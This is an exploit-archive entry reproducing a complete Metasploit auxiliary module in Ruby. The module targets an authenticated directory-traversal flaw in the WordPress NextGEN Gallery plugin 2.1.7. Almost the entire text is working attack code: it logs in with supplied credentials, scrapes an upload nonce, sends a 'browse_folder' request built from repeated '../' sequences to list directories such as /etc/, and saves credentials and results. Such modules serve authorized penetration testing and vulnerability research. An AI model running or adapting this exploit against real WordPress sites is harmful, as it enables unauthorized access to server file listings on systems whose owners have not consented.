WordPress NextGEN Gallery Directory Read

2024.09.01
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' require 'nokogiri' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability', 'Description' => %q{ This module exploits an authenticated directory traversal vulnerability in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing to read arbitrary directories with the web server privileges. }, 'References' => [ ['WPVDB', '8165'], ['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650'] ], 'Author' => [ 'Sathish Kumar', # Vulnerability Discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'License' => MSF_LICENSE )) register_options( [ OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) ]) end def user datastore['WP_USER'] end def password datastore['WP_PASS'] end def check check_plugin_version_from_readme('nextgen-gallery', '2.1.9') end def get_nonce(cookie) res = send_request_cgi( 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), 'method' => 'GET', 'vars_get' => { 'page' => 'ngg_addgallery' }, 'cookie' => cookie ) if res && res.redirect? && res.redirection location = res.redirection print_status("Following redirect to #{location}") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => cookie ) end res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first end def parse_paths(res) begin j = JSON.parse(res.body) rescue JSON::ParserError => e elog(e) return [] end html = j['html'] noko = Nokogiri::HTML(html) links = noko.search('a') links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") } end def run_host(ip) vprint_status("Trying to login as: #{user}") cookie = wordpress_login(user, password) if cookie.nil? print_error("Unable to login as: #{user}") return end store_valid_credential(user: user, private: password, proof: cookie) vprint_status("Trying to get nonce...") nonce = get_nonce(cookie) if nonce.nil? print_error("Can not get nonce after login") return end vprint_status("Got nonce: #{nonce}") traversal = "../" * datastore['DEPTH'] filename = datastore['DIRPATH'] filename = filename[1, filename.length] if filename =~ /^\// res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery", 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_get' => { 'photocrati_ajax' => '1' }, 'vars_post' => { 'nextgen_upload_image_sec' => "#{nonce}", 'action' => 'browse_folder', 'dir' => "#{traversal}#{filename}" }, 'cookie' => cookie ) if res && res.code == 200 paths = parse_paths(res) vprint_line(paths * "\n") fname = datastore['DIRPATH'] path = store_loot( 'nextgen.traversal', 'text/plain', ip, paths * "\n", fname ) print_good("File saved in: #{path}") else print_error("Nothing was downloaded. You can try to change the DIRPATH.") end end end


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